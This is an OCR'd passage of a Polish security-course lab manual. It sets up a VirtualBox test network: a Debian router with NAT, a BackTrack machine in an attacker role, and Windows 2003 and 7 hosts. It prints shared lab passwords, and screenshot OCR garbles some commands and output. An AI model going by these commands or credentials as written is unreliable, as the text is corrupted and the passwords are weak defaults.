1% Komputer
&L, Dysk lokalny (C3)
Stacja dyskéw Cl ~

Nazwa pliku: Misrosoft Windows 7 ~  [Obrozy Co/OVD-ROM [is)  +
e v

Rys. 1.34. Oracle VirtualBox — dodanie nowego nos$nika (ISO)
Zrédto: opracowanie wiasne.
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1.3.27. W Menedzerze nosnikow wirtualnych zaznacz dodany obraz i kliknij
przycisk Wybierz.

Menedzer noinikéw wirtualnych

Akcje
8 2 9

Mowy Dodaj Usuri  Wysun Odswiez

21 Dyski twarde Obrazy coovD [ Obrazy dyskistek

Nazwa = Rozmiar
Microsoft Windows 7.is0 38126...
E Sciezka: \WBOXSVR \inzynierka\dvd\Przygotowanie srodowiska\Microsoft Windows Ziso
| Podfgczona do:  Windows 7
|

[ Wybierz ][ Anuluj ][ Pomoc ]

Rys. 1.35. Oracle VirtualBox — wyb6r nosnika
Zrédto: opracowanie wlasne.

1.3.28. W oknie ustawien maszyny wirtualnej kliknij OK.

€3 Windows 7 - Ustawienia
E Ogélne |" snilki ‘
System

Ekran Drzewo nosnkaw Atrybuty

o Diwiek 8 @ Micosoft Windows Ziso Plyta CD/DVD: |Microsoft Windaws Ziso (381, + | [
P Sie¢ & Kontroler SATA Bt

5 Porty szeregowe - & windows Z.vdi Informacja

& use Rozmiar: 381,26 MB

) Wspsldzielone katalogi Scezka: \WBOXSVR\inzyrierkaldvd \Przygotow

Podfgczone do:

3Ra e

Zawiera kontrolery maszyny wirtuainej, oraz dofaczone do nich obrazy wirtualne | napedy gospodarza.

[ o ][ | [ Pomoc

Rys. 1.36. Oracle VirtualBox — no$niki
Zrédlo: opracowanie wlasne.

1.3.29. Uruchom maszyn¢ wirtualng i zainstaluj system postgpujac zgodnie
z instrukcjami instalatora.
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1.3.30.

Po pierwszym uruchomieniu systemu odmontuj obraz ISO od napgdu
CD. Przy uruchomionej maszynie wejdz w menu Urzadzenia -> Plyty
CD/DVD -> Odmontuj plyte CD.

Windows 7 [Uruchomiona] - VirtualBox - Edycja open-source

’ Naped gospodarza _NEC DVD_RW ND-4550A (sr

Zainstaluj Dodatki (Guest Additions)... Host+D

sional x86 PL.iso

Odmontuj ptyte CD/DVD

Rys. 1.37. Oracle VirtualBox — odlaczenie nosnika
Zrédto: opracowanie wlasne.

Zgodnie z powyzszym schematem stworz jeszcze jedna maszyne wirtualna
o nastgpujacych parametrach:

Nazwa Windows 2003
System operacyjny Microsoft Windows
Wersja systemu operacyjnego Windows 2003
Pamig¢ RAM 512 MB

1.4. Konfiguracja kontrolera dyskéw twardych

Maszyna z systemem Turnkey wymaga zmiany rodzaju kontrolera dyskow
w celu poprawnego uruchomienia. Standardowy kontroler SATA (ang. Serial
ATA — standard komunikacji pamigci masowych) nalezy zmieni¢ na kontroler IDE.

1.4.1. Uruchom program VirtualBox.

1.4.2. Z listy dostgpnych maszyn wybierz Turnkey i kliknij przycisk Ustawienia.
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1.4.3. W lewym menu wybierz sekcj¢ Nosniki.

] TurnKey - Ustawienia

B8 ogélne Nosniki

@ system

Ekran Drzewo nosnikow Atrybuty

© Nosniki & Kontroler IDE Nazwa: |Kontroler SATA

¥ Dawiek

& siec ¢ @ Brak Typ: [AHCI -
slec £ Kontroler SATA &

B Portyszeregowe Uzyj buforowania I/O gospodarza

@ TurnKey_LAMP.vdi
) wspstdzielone katalogi

@@ e@e

Prosze wybrac kategori ustawieriz listy po lewej  przesunqé kursor myszy nad wybrang pozyce, aby
uzyskat wigcej informacji.

| Pomog | | Andy || oK

Rys. 1.38. Oracle VirtualBox — ustawienia no$nikéw
Zrédlo: opracowanie wlasne.

1.4.4. Na liscie Drzewo nosnikow zaznacz Kontroler SATA 1 wci$nij klawisz
delete.

1.4.5. Nastgpnie w drzewie no$nikéw kliknij ikonkg¢ Dodaj dysk twardy przy
kontrolerze IDE.

©®© TurnKey - Ustawlenia

& ogsine Nosniki
@ system
Ekran Drzewo nosnikéw Atrybuty
@ Nosniki 4 Kontroler IDE @E3 Nazwa: |Kontroler IDE
o Diwiek @ Brak

Typ: [PliX4 -
@ siec L )
5 Porty szeregowe Uzyj buforowania /0 gospodarza
@ wspotdzielone katalogi

@° a6

Prosze wybrac kategorie ustawien z listy po lewej i przesunq¢ kursor myszy nad wybrang pozycje, aby
uzyskac wigee] informacji.

[_Pomoc | [ andy | (00K

Rys. 1.39. Oracle VirtualBox — dodanie nowego dysku
Zrédto: opracowanie wihasne.

1.4.6. Nastgpnie kliknij na dodanym dysku twardym i w prawym menu w polu
Dysk twardy wybierz Turnkey.vdi z listy rozwijane;.

1.4.7. Wcisnij OK w oknie Turnkey — ustawienia.
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1.5. Konfiguracja interfejsow sieciowych maszyn wirtualnych

Przed przystapieniem do ¢wiczen nalezy przeprowadzi¢ konfiguracje
interfejséw sieciowych, co umozliwi komunikacje maszyn w sieci wirtualnej
oraz zapewni dostgp wszystkich maszyn do Internetu. Aby uzyskaé topologie
przedstawiona na rys 1.1, nalezy odpowiednio skonfigurowac interfejsy sieciowe.

Maszyna z systemem Debian musi posiada¢ dwa interfejsy sieciowe,
poniewaz bedzie petni¢ funkcje routera dla sieci testowej. Jeden interfejs musi
by¢ podlaczony do fizycznej sieci komputerowej (ang. WAN, Wide Area
Network), a drugi do wirtualne;j sieci lokalnej (ang. LAN, Local Area Network).

1.5.1. Uruchom program VirtualBox.
1.5.2. Z listy dostgpnych maszyn wybierz Debian 5.0 i kliknij przycisk Ustawienia.
1.5.3. W lewym menu wybierz sekcj¢ Sieé.

1.5.4. W zaktadce Karta 1 zaznacz opcje Wlacz karte sieciowg.

£23 Debian 5.0 - Ustawienia 2=

@ Ogélne Sied
System

Ekran Kerta 1 | Karta2 | Karta3 | Karta4

@ Notniki [7] Wilacz kart siecowa
o Diwiek

=P Sied

{3 Porty szeregowe
7 Use

[5) Wspéldziclone katalogi

Podfgczona do: [NAT =

|» Zaawansowsne

Proszg wybrac kategorie ustawieri 2 sty po lewej i przesungc kursor myszy nad wybrang pozydge, aby uzyskac
wigce] informad.

[ ok | [ ami | [ Pomoc |

Rys. 1.40. Oracle VirtualBox — ustawienia sieci wirtualnej maszyny
Zrédlo: opracowanie wilasne.

1.5.5. Aby podlaczy¢ kartg do fizycznej sieci komputerowej wybierz w opcji
Podtqczona do wartos¢ Mostkowana karta sieciowa (bridged) i w opcji
Nazwa wybierz kartg sieciowa komputera gospodarza podlaczona do sieci
fizycznej. Rozwin menu Zaawansowane i kliknij na ikonk¢ z zielonymi
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strzatkami przy polu Adres MAC (ang. Media Access Control — adres
fizyczny karty sieciowej) w celu wylosowania nowego adresu fizycznego.

£ Debian 5.0 - Ustawienia -2 |mEsa)
E ogéine Sie¢
[ System
Ekran Keral | Karta2 | Kartad | Karta4 |
@ Nosniki ] Wiacz karte sieciowa
b Diwiek Podlaczona do: [Mostkowana karta sieciowa (bridged)
Siee
& Nazwa: [Karta Intel(R) PRO/1000 MT Desktop Adapter -]
B Porty szeregowe
¥ Zaawansowane
& use
Typ karty: |Intel PRO/1000 MT Desktop (82540EM; -
[ Wspétdzielone katalogi e kartys [in I eskion ) )
Adres MAC:  0800279A5067
[7] Kabel podiaczony
Frosze wybrac ier 2 sty po Chursor myszy nad e, sby uzystac
wiscef infarmacy.
[oc [ s ][ pomoc |

Rys. 1.41. Oracle VirtualBox — mostkowana karta sieciowa
Zrédlo: opracowanie wlasne.

1.5.6. Nastgpnie nalezy skonfigurowa druga kart¢ sieciowa podiaczona do
wewngtrznej sieci. Przejdz na zakladke Karta 2, zaznacz opcje Wiacz
karte sieciowa. Opcj¢ Podlqczona do ustaw na Sie¢ wewnetrzna natomiast
w polu Nazwa wpisz bss. Rozwin menu Zaawansowane i kliknij na
ikonke z zielonymi strzatkami przy polu Adres MAC w celu wylosowania
nowego adresu fizycznego.

€53 Debian 5.0 - Ustawienia 7 ==
E ogsine Sie¢
& system
Ekran Kartal | Kerta2 | Karta3 | Karta4 |
@ Nosriki 7] Whacz kart sieciona
Sieé
& Nazwa: bss -
€9 Porty szeregowe
= Zaawansowane
7 use
T o Ty karty: [Intel PRO/1000 MT Desktop (32540EM) -]
Adres MAC:  080027948F4C
[¥] Kabel podtaczony
Prosze wybrac's fors 2 sty po “kursor myszy nad ge, aby uzyskac
wiscej informaci.
[ o J[ ama ][ pomc ]

Rys. 1.42. Oracle VirtualBox — karta sieciowa podiaczona do sieci wewngtrzne;j
Zrédlo: opracowanie wlasne.
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1.5.7. Po ustawieniu powyzszych wartosci wcisnij przycisk OK.

1.5.8. Dla maszyny z systemem Turnkey stwérz zgodnie z powyzszym
schematem jedna kart¢ sieciowa podiaczona do sieci fizycznej (jak
w pkt. 1.5.5)

1.5.9. Dla maszyny wirtualnej z systemem Windows Serwer 2003 dodaj dwie
karty sieciowe podtaczone do sieci wewnegtrznej o nazwie bss (jak w pkt.
1.5.6)

1.5.10. Zgodnie z powyzszym schematem stwdrz dla wszystkich pozostalych
maszyn wirtualnych po jednej karcie sieciowej (Karta 1) podtaczona do
sieci wewngtrznej o nazwie bss (jak w pkt. 1.5.6).

1.6. Konfiguracja Debian Linux 5.0

Komputer z systemem Debian bedzie petnit w sieci testowej rolg routera
brzegowego. Nalezy na nim skonfigurowa¢ dwa interfejsy sieciowe (interfejs dla
sieci testowej 1 interfejs wyjsciowy do Internetu), przekazywanie pakietow (ang.
IP forwarding) oraz translacje adreséw sieciowych (NAT).

1.6.1. Uruchom maszyng z systemem Debian Linux 5.0. W gtéwnym oknie
programu Oracle VirtualBox wybierz maszyng Debian 5.0 i kliknij
przycisk Uruchom.

3§ Oracle VM VirtualBox | = e =]
Plik Maszyna  Pomoc
;‘:} ﬁ" g & suczegsty | @) Migawii | @ ops |
Nowa Ustawienia Uruchom  Cdrzuc [E] ogéine T
Mazwa: Debian 5.0
S Typ systemu: Debian
© wylgezona [# svstem
Pamieé podstanowa: 334MB
J| Windows 7 Procesor(y): 1
W @wylaczona Kolejnos¢ startowania: Dyskietka, CD/DVD-ROM, Dysk twardy
Ekran
Pamigé widza: 12M8
Akceleracja 3D: Wylaczona
Akceleragja wideo 2D: Wylaczony =
Serwer zdalnege pulpitu: Wylaczony
(3 Mosniki
Kontroler IDE
IDE Drugi Master (CD/DVD): Brak
Kontroler SATA
Port SATA 0: Debian 5.0.vdi (Normalny, 2,00 GB)
b Diwiek
Sterownik gospodarza: Windows DirectSound
Kontroler: ICH ACST
&P Sie¢

Rys. 1.43. Oracle VirtualBox —uruchomienie maszyny wirtualnej
Zrédlo: opracowanie wlasne.
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1.6.2. Zaloguj si¢ do systemu.

Login: bss
Hasto: zaql @ WSX

jldebian login:

[Password:

Last login: Mon Nov & £B8:15:38 CET Z818 on ttyl

Linux debian 2.6.26-1-686 #1 SMP Fri Mar 13 18:88:45 UTC ZBH9 i6B6

he programs included with the Debian GNU-Linux system are free software:
he exact distribution terms for each program are described in the

individual files in susrssharesdoc/=/copyright.

Debian GNU-/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

1 nieudana proba logowania od ostatniego logowania.

Ostatnie logowanie: dwia wto, 9 lis 2818, 11:33:84 na terminalu ttyl.
bss@debian:™§ _

Rys. 1.44. Debian Linux — logowanie
Zrédto: opracowanie wilasne.

1.6.3. Przejdz do powtloki uzytkownika root, aby uzyska¢ mozliwo$¢ konfiguracji
interfejséw sieciowych. Wpisz w konsoli:

Hasto uzytkownika root: zaql@WSX (Uwaga: hasto nie jest widoczne
podczas wpisywania).

1.6.4.Karta ethO, ktéra jest podtaczona do sieci fizycznej, powinna pobra¢ adres
IP z serwera DHCP zainstalowanego w sieci fizycznej (jesli sie¢ fizyczna
konfigurowana jest r¢cznie, przejdz do pkt. 1.6.7 i skonfiguruj interfejs ethO
z uzyciem podanych polecen). Wpisz w konsoli:

dhclient

ebian: home/bss# dhclient
here is already a pid file svar/runsdhclient.pid with pid 2696
[killed old client process, removed PID file
Internet Systems Consortium DHCP Client U3.1.1
opyright Z2B84-2888 Internet Systems Consortium.
1l rights reserved.
[For info, please wisit http://www.isc.org/sw/dhcps

Listening on LPFrethl B8:88:27:78:84:18

[Sending on LPFrethl-/88:88: H

Listening on LPF-ethB-/B88:88:

[Sending on LPF-ethd-88:88:

[Sending on Socketrsfallback

[DHCPREQUEST on ethB to 255.255.255.255 port 67

[DHCPACK from 192.168.5.1

bound to 192.168.5.23 -- renewal in 338521 seconds.
ebian: home- bss# _

Rys. 1.45. Debian Linux — przydzielenie adresu z serwera ustugi DHCP
Zrédto: opracowanie wilasne.

50



1.6.5. Sprawdz konfiguracje tej karty, wpisujac w konsoli:

ifconfig

ebian:-homesbss# ifconfig ethd

ethd Link encap:Ethernet HUWaddr B8:88:27:c5:69:29
inet addr:192.168.5.23 Bcast:192.168.5.255 Mask:255.255.255.8
UP BROADCAST RUNNING MULTICAST MTU:1588 Metric:1
RX packets:1858 errors:8 dropped:8 overruns:B frame:8
TX packets:27 errors:B dropped:B overruns:HB carrier:8
collisions:8 txgqueuelen:1HHB
RX bytes:183869 (178.7 KiB) TX bytes:2516 (2.4 KiB)

Rys. 1.46. Debian Linux — ifconfig
Zrédlo: opracowanie wilasne.

Adres IP interfejsu widoczny jest w drugiej linii za ciagiem znakoéw ,.inet addr:”

1.6.6. Sprawdz poprawnos¢ polaczenia z Internetem. Wpisz w konsoli:

ping —c 4 www.google.

ebian: home-bss# ping -c 4 www.p.lodz.pl

[PING webB.p.lodz.pl (212.51.287.72) 56(84) bytes of data.
from webB.p.lodz.pl (212.51.287.72): icmp_seq=1 tt1=52 time=264
from webB.p.lodz.pl (212.51.287.72): icmp_seq=2 tt1=5Z time=165
from webB.p.lodz.pl (212.51.287.72): icmp_seq=3 tt1=52 time=152
from webB.p.lodz.pl (212.51.287.72): icmp_seq=4 tt1=52 time=148

.p.lodz.pl ping statistics ---
4 packets transmitted, 4 received, 82 packet loss, time 3814ms
rtt minsavg/maxsmdev = 148.482-165.716-2084.285-24.889 ms
ebian:shomesbss#t _

Rys. 1.47. Debian Linux — ping
Zrédto: opracowanie wlasne.

1.6.7. Skonfiguruj adres IP i wiacz interfejs podtaczony do sieci wewngtrznej,
korzystajac z narzedzia ifconfig. Sktadnia polecenia jest nastgpujaca:
ifconfig <int> <IP> netmask <maska>
gdzie:

<int> - nazwa interfejsu sieciowego
<IP> - adres IP
<maska> - maska podsieci

Wpisz w konsoli:

ifconfig eth1 172.16.1.1 netmask 255.255.255.0

ifconfig eth1 up
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1.6.8. Nastepnie nalezy wlaczy¢ przekazywanie pakietow, aby umozliwi¢ routing.
Wpisz w konsoli:

echo ,1” > /proc/sys/net/ipv4/ip_forward

1.6.9. Uruchom translacje adres6w, aby umozliwi¢ komunikacj¢ z Internetem
maszynom wirtualnym. Wpisz w konsoli:

iptables —t nat —A POSTROUTING —o eth0 -] MASQUERADE

:#homesbsst ifconfig ethl 172.16.1.1 netmask 255.255.255.8
:#homesbsst ifconfig ethl up

:#homesbss#t echo 1 > /proc/syssnetrsipvdrsip_forward
#homesbss# iptables -t nat -A POSTROUTING -o eth8® -j MASQUERADE_

Rys. 1.48. Debian Linux — konfiguracja interfejsu sieciowego i NAT
Zrédto: opracowanie whasne.

1.7. Konfiguracja BackTrack Linux 4 R2

Maszyna z systemem BackTrack bedzie wykorzystywana w wigkszoSci
¢wiczen w roli komputera wykorzystywanego przez agresora. Dzigki kompletnemu
zestawowi narzedzi wykorzystywanych do analizy zabezpieczen, nie bgdzie potrzeby

poszukiwania i instalowania dodatkowego oprogramowania.

1.7.1. Uruchom maszyn¢ wirtualng z systemem BackTrack 4 R2 oraz zaloguj sig,
uzywajac konta administracyjnego:

Login: root
Hasto: zaql @WSX

1.7.2. Przejdz do powtoki graficznej. Wpisz w konsoli:
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1.7.3. Uruchom terminal. Kliknij na ikonke¢ konsoli na pasku szybkiego
uruchamiania.

H Konsole
Terminal Program

h“) ‘ @ @ % -' = ro

Rys. 1.49. BackTrack Linux — uruchomienie konsoli
Zrédto: opracowanie whasne.

1.7.4. Aby uzyska¢ dostgp do innych maszyn wirtualnych oraz do Internetu
konieczna jest konfiguracja adresu IP dla interfejsu ethO oraz wiaczenie
tego interfejsu. Wpisz w konsoli:

ifconfig eth0 172.16.1.2 netmask 255.255.255.0

ifconfig ethO up

1.7.5. Nastgpnie ustaw domys$lna brame sieciowa (jest nig dla wszystkich
komputeréw maszyna z systemem Debian). Wpisz w konsoli:

route add default gw 172.16.1.1 eth0

1.7.6. Aby mozliwa byla komunikacja z siecia zewngtrzna przy uzyciu nazw
symbolicznych zdefiniuj adres serwera DNS (ang. Domain Name System —
system nazw domenowych) poprzez dodanie wpisu w pliku /etc/resolv.conf
(np. podajac adres serwera OpenDNS). Wpisz w konsoli:

echo 'nameserver 208.67.222.222° > /etc/resolv.conf

53



1.7.7. Sprawdz poprawnos$¢ konfiguracji wpisujac w konsoli:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

onfig eth® 172.16.1.2 netmask 255.255.255.0
¢ ifconfig etho up
¢ route add default g
¢ echo "nameserver

¢ ping -c 4

from 74 5. ] icmp
4 bytes from 74 33: icmp
64 bytes from 74.12 B.83: icmp

1.google.com ping statisti --
ets transmitted, 4 received, 8% packet loss, time 3088ms
/3y x/mdev = 51.2 8 1 ms

Rys. 1.50. BackTrack Linux — konfiguracja interfejsu sieciowego
Zrédto: opracowanie wlasne.

1.8. Konfiguracja Microsoft Windows 2003 Server

1.8.1. Uruchom maszyne wirtualng z systemem Microsoft Windows 2003 Server
i zaloguj si¢ do systemu.

1.8.2. Skonfiguruj interfejs sieciowy, bram¢ domys$lna oraz serwer DNS
przechodzac do Start -> Panel sterowania -> Polgczenia sieciowe ->
Potqczenie lokalne.

% Aktudlizacis automatyczne
& Cacionki

-7 Dataigodzina

5 Dodajlub usur programy

iri =& Dod: t
Administrator 1 € Dacojspre
; ©., Drukarkii Faksy

Zarzadzanie tym :,g Mé1 komputer @), Dzwiekiiurzadzenia audio
serwerem %

Wiersz polecenia

S Hawaturs

& Kontralery ger

@ Norzsclia sdmiisracyine >

Licencjonowanie
/ Eksplorator Windows nr >

= 1 DrukarkiTFaksy a7 Mowa
— = Y wm
i
[ mosatnk Q) Pormocchshugs techniczns 453 Hereedeia sdiritracy e
)_') wyszuka (/) Opcie foiderdw
- P opcie nternetowe
7—7 Uruchom... W' Opcie regionalne i jezykowe

[ Opcie telefonu i modemu
&, Opcje uatwien dostepu
5 Opeje zasilania
[, Pasek zadart | menu Start

E Kreator nowego polaczenia
T4 Praschowywane nazwy uzytkownikow | hasta

) Prasnone urzadzenia motimediane b L. Potaczenie lokane 2
=4, Skanery i aparaty fotograficane
Wszysthie programy b 48 system
) VMware Toals
Wityloguj Zamknij system
o @z &
distart |2 & | 8 Zapora systemu Windows

Rys. 1.51. Windows 2003 Server — polaczenia sieciowe
Zrédlo: opracowanie wilasne.
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1.8.3. W oknie, ktére si¢ pojawi wciénij przycisk WlasciwoSci.

-k 5tan: Potaczenie lokalne = 2l
Ogédlne | Dbs}ugal
~ Pokaczenie
Star: Potaczono
Czas trwania: 00:05:39
Szpbkose: 1.0 Gb/s
 Akbpwnoss
‘wipgkano —— h.;f!§| = [Odebrano
ik
Pakisty: 12 | 3

Zamknij |

Rys. 1.52. Windows 2003 Server — potaczenie lokalne
Zrédlo: opracowanie wlasne.

1.8.4. W kolejnym oknie wybierz Protokol internetowy (TCP/IP), a nastgpnie
kliknij Wlasciwosci.

L vrtascimosci: Polaczenie lokalne x|

Ogdlne | Llwwelz_l,ltelnianiel £ aamansomane |

Pokacz uipwajge:

| B8 Fotaczenie sieciowe Intel[R] PRO/A

To potaczenie wykorzyztuie nastepujace skadniki:
El Klient sieci Microsaft Networks
O B R dwnowazenie oboigdenia sisciowego

S Udastepnianie plikdw i drukarek w sieciach Microsaft M...
1 it |

Zainstaluj... | Odinstalu ‘Whasciwascl

— Opis
Protokék kantrali transmisji/Pratakdl internetawsy (TCP/AP].

Domysiny protokdt dia sieci rozleghych, umozliviajgcy
komunikacje potaczanych sieci réznych pdu

[™ Pokaz ikone w obszarze powiadomief podczas potaczenia

W Powiadom mnie, je€li to potaczenie ma ograniczona kacznose
lub brak tacznogci

ak Anuluj

Rys. 1.53. Windows 2003 Server — wlaSciwos$ci potaczenia lokalnego
Zrédto: opracowanie wiasne.

55



1.8.5. W oknie Wiasciwosci protokotu TCP/IP Kliknij opcj¢ Uzyj nastgpujacego
adresu IP: i wpisz ponizsze dane:

Adres IP 172.16.1.3
Maska podsieci 255.255.255.0
Brama domys$lna 172.16.1.1
Preferowany serwer DNS 208.67.222.222

Wiasciwosci: Protokalinternetowy (TCP;E 21 x|

Ogdlne

Przy odpowiedniej konfiguracii sieci mozesz automatycznie uzyshad
niezbedne ustawienia protakotu IP. W przeciwnym wypadku musisz
uzyskad ustawienia protokotu 1P od administratora sieci.

£~ Uzyskaj adres TP automatycznie

—{% Uzyj nastepujarego adresu IP:

Adres IP: 172,16 .1 . 3
Maska podsieci: I 2585.255. 0 .0
Brama domyélna: 172,16 .1 . 1

£~ zyskaj adres serwera DS automatyznie

—(% Uzyj nastepujarych adrestv serwerdy DNS:

Breferowany serwer DNS: I 208 . 67 222 222
Alternatywiny serwer DNS: I f f f

Z33WaNSOWane. ..

Rys. 1.54 Windows 2003 Server — konfiguracja potaczenia lokalnego
Zrédto: opracowanie wiasne.

1.8.6. Sprawdz poprawnos¢ potaczenia poprzez wystanie pakietu ICMP. W tym celu
wpisz w konsoli (Start -> Uruchom -> cmd):

ping www.google.pl
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1.9. Konfiguracja Microsoft Windows 7

1.9.1. Uruchom maszyn¢ wirtualna z systemem Microsoft Windows 7 i zaloguj
si¢ do systemu.

1.9.2. Przejdz do konfiguracji sieci klikajac Start -> Panel sterowania.

<
!' Oracle VM VirtuglBox

jr Wprowadzenie
bss
! Potacz z projektorem

Dokumenty

Kalkulator

Obrazy
Sticky Motes

% Narzedzie Wycinanie
@;;,;5 Paint

g, Precgladarka pliksw XPS

Muzyka
Komputer

ania
Urzadzenia i drukarki

—=/ Faksowanie i skanowanie w systemie
Windows Programy domysine

|
%9 Podtzczanie pulpitu zdalnege Pomoc i obsluga techniczna

¥ Wszystkie programy

[ wyszukaj programy i piiki

Rys. 1.55. Windows 7 — uruchomienie panelu sterowania
Zrédlo: opracowanie wlasne.

1.9.3. Nastegpnie wybierz sekcjg Sieci i Internet.

( [E+ Panel sterowania » ~ [ 43 ]| Iszukj w Panclu sterowania Pl
Dostosuj ustawienia komputera Widok wedtug: Kategoria ¥
@  System i zabezpieczenia Konta uzytkownikéw i Filtr rodzinny
U Zaponaj sie ze stanem komputera & Dodlaj lub usur konta uzytkownikéw
‘Wykonaj kopie zapasowa komputera & Konfiguruj ustawienia kontroli rodzicielskiej dla
Znajdi i rozwiaz problemy wszystiich uzytkownikéw

Sie¢i Internet Wyglad i personalizagja

@i Wyswiet!stan sieci i zadania M Zemies kompozycje

S, Wybierz grupe domow i opcje udostepniania Zmies to pulpitu

o Dopas Iczos¢ ekranu
|7 Sprzeti déwiek
%‘ Wyswietl urzadzenia i drukarki " Zegar, jezyk i region
Dodaj urzadzenie Zrmie# klawiatury lub inne metody wprowadzania
o

E" Progeamy AW\ Ulatwienia dost
Odinstaluj pregram \\_) Niech system Windol

Optymalizuj wyéwiet!

Rys. 1.56. Windows 7 — Sieci i Internet
Zrédlo: opracowanie wlasne.
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1.9.4. W oknie Sieci i Internet kliknij na Centrum sieci i udostepniania.

[E=S e )

()= [F » Paneisteronania » Sieéintemet » < %3] [ Seukaj v Panelu sterowania 2|

Strona gléwna Panelu i . S
sterowania ‘:l.-' Se ntrum sieci i udostepniania

et stan sieciizadania | Polaczzsiecia | Wywiet komputery i urzadzenia sieciowe

System i zabezpieczenia urzadzenie bezprzewodowe do sieci

o
o Sietilnternet Q % Grupa domowa

S Wybierz grupe domowa i opcje udostepniania

Programy “L‘ Opdje internetowe

Konta uzytkownikéw i Filtr =] Zmien strone gléwna | Zarzadzaj dodatkami do przegladarki | Usuf historie przegladania i pliki cookie
rodzinny

Wyglad i personalizacia

Zegar, jezyki region

Utatwienia dostepu

Rys. 1.57. Windows 7 — Centrum sieci i udost¢pniania
Zrédlo: opracowanie wlasne.

1.9.5. Kliknij na opcj¢ Zmien ustawienia karty sieciowej w lewym menu.

=S e =)
B )=[E » Panelstrowanis » e temet » Centrum s udostepriana o T 2]
Strona gléwina Panel L=
rona giéwna Panelu - . s - .
e Wyséwietl podstawowe informade o sieci i skonfiguruj pofaczenia
P = Zobacz peina mape
e i LY @
~iipanch +3BSS-KOMPUTER Wiele sieci Internet
Zmie# zaawansowane (Ten komputer)
ustawienia udostepniania Wyswitianie aktywnych sieci Polacz lub rosfac:
4 siee Typdostepu:  Intemet
et oo HomeGroup:  Sprzezono
- Polaczenia: [ Polaczenie lokalne
F==% Sie€ niezidentyfikowana Typ dostepu:  Brak dostepu do sieci
T Siee publiczns Potaczenia: ) VirtualBox Host-Only Network
Zmienianie ustawien sieciowych
g Skonfiguruj nowe polaczenie lub nowa sie¢
= Skonfiguruj pofaczenie bezprzewodowe, szerokopasmowe,telefoniczne, ad ho b VPN albo
skonfiguryj router ub punkt dostepu.
G Polacz zsiecia
. W
Zobacztex Polacz lub ponownie potacz 2 siecia bezprzewodows, przewodows, telefonicana Iub za
oo dommows poérednictwem potaczenia VPN
Opcjeintemetowe Wybierz grupe domowa i opcje udostepriania
Zapors systemu Windows Uzyskaj dostep do plikéw i sie na innych komp: 1ub zmies
ustawienia udostepriania -

Rys. 1.58. Windows 7 — ustawienia karty sieciowej
Zrédto: opracowanie wiasne.

1.9.6. Kliknij prawym przyciskiem na interfejsic Polaczenie lokalne i wybierz
Wilasciwosci.

G ()=[F + Poneteromonio + Sicciinmeme » Potacerissiciowe » o =
Organizuj v Wylaczto ursadzenie sieciowe  Diagnozuj to polaczenie  Zmie: nazwetego polaczenia  Wyévietlstantego polaczenia >
= Polaczenic lokaine =/ VirtualBox Host-Only Network
7 Karti § Wyl ¥ VirtualBox Host-Only Ethemet Ad.

Stan

Diagnozuj

&

Polaczenia mostkowe

Utwérz skast
Usud

&) Zmien nazwe

& Wikciwosci

Rys. 1.59. Windows 7 — potaczenie lokalne
Zrédto: opracowanie wiasne.
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1.9.7. W oknie Wiasciwosci: Potqczenie lokalne Wybierz opcje¢ Protokét
internetowy w wersji 4 i kliknij przycisk Whasciwosci.

1 Wiasciwosci: Polaczenie lokalne

Sie¢ | Udostepnianie

Polacz, uzywajac:
l_-'IF Karta Intel(R) PRO/1000 MT Desktop Adapter

To polaczenie wylkorzystuje nastepuigce skiadniki:

% Kiert sieci Microsoft Networks

B! irtualBox Bridged Networking Driver

.@ Hamenogram pakietdw QoS

,LEJ Udostepnianie plikéw i drukarek w sieciach Microsoft N...
<& Protokedt intemetowy w wersji & (TCP/IPvE)

B okl intemetowy w wersf 4 (TCP/1Pv4) |

-4 Sterownik We. /Wy mapowania z odnajdywaniem topalo...
& Respander odnajdywania topologi warstwy lacza

Opis
Protokdl kontroli transmisji/Protokdl intemetowny (TCP/IF).
Domyélmy protokél dla sieci rozleghych, umozliwiajzcy
komunikacje polaczonych sieci rdznych typow.

Rys. 1.60. Windows 7 — wlasciwosci polaczenia lokalnego
Zrédlo: opracowanie wlasne.

1.9.8. W oknie Wiasciwosci: Protokdt internetowy w wersji 4 zaznacz opcje Uzyj
nastepujacego adresu IP i wpisz w odpowiednie pola nastgpujace dane:

Adres IP 172.16.1.4
Maska podsieci 255.255.255.0
Brama domy$lna 172.16.1.1
Preferowany serwer DNS 208.67.222.222
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Wiasciwosci: Protokdt internetowy w wersji 4 (TCP/IPvd)

Ogdine

Przy odpowiednie]j konfiguradji sied mozesz automatycznie uzyskad
niezbedne ustawienia protokofu TP, W przeciwnym wypadku musisz
uzyskac ustawienia protokohu IP od administratora sied.

() Uzyskaj adres [P automatycznie

(@ Uzyj nastgpujgcego adresu IP:

Adres IP: 172,16 0L .. 4
Maska podsied: 255.255.255. 0
Brama domysina: 17 250 | AT

Uzyskaj adres serwera DNS automatycanie
@) Uzyj nastepujgcych adreséw serwerdw DNS:
Preferowany serwer DNS: 208 . 67 . 222,222

Alternatywny serwer DNS:

& Sprawdz przy zakoriczeniu poprawnosc

Rys. 1.61. Windows 7 — konfiguracja polaczenia lokalnego
Zrédto: opracowanie wiasne.

1.9.9. Po wpisaniu wszystkich danych kliknij OK.

1.9.10. W oknie Wtasciwosci: Potqczenie lokalne kliknij przycisk Zamknij.

U Wiatciwoéci: Pofaczenie lokalne

Siet | Udosteprianie

Polacz, uzywajgc:
l‘}‘ Karta Intel(R} PRO./1000 MT Desktop Adapter

To polaczenie wykorzystuje nastepujgee skiladniki:

e et sieci Microsoft Networks |

g\ﬁnuale( Bridged Networking Driver

Bl Hamonogram pakistéw QoS

Ld Q Udostepnianie plikdw i drukarek w sieciach Microsoft N..
v| - Protokdt intemetowy w wersji & (TCP/IPvE)

¥ - Protokdt intemetowy w wersji 4 (TCP/IPv4)

-2 Sterownile We. Wy mapowania z odnajdywaniem topalo..
-2 Responder odnajdywania topologii warstwy lacza

KKER X

[ Zainstalyj... ] [ Odinstaluj ] Wi
Opis

Pozwala temu komputerowi uzyskiwaé dostep do zasobdw
sieci Microsoft Netwarlc.

Rys. 1.62. Windows 7 — potwierdzenie konfiguracji sieciowej
Zrédto: opracowanie wiasne.
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1.9.11. Uruchom konsolg. Kliknij menu Start, w polu Wyszukaj programy i pliki
wpisz emd i wcisnij Enter.

Programy (1)
EN crnd

- Wyswietl wiecej wynikdw

‘cmd| x| | Zamknij | ¥ |

% EE

Rys. 1.63. Windows 7 — uruchomienie konsoli
Zrédlo: opracowanie wilasne.

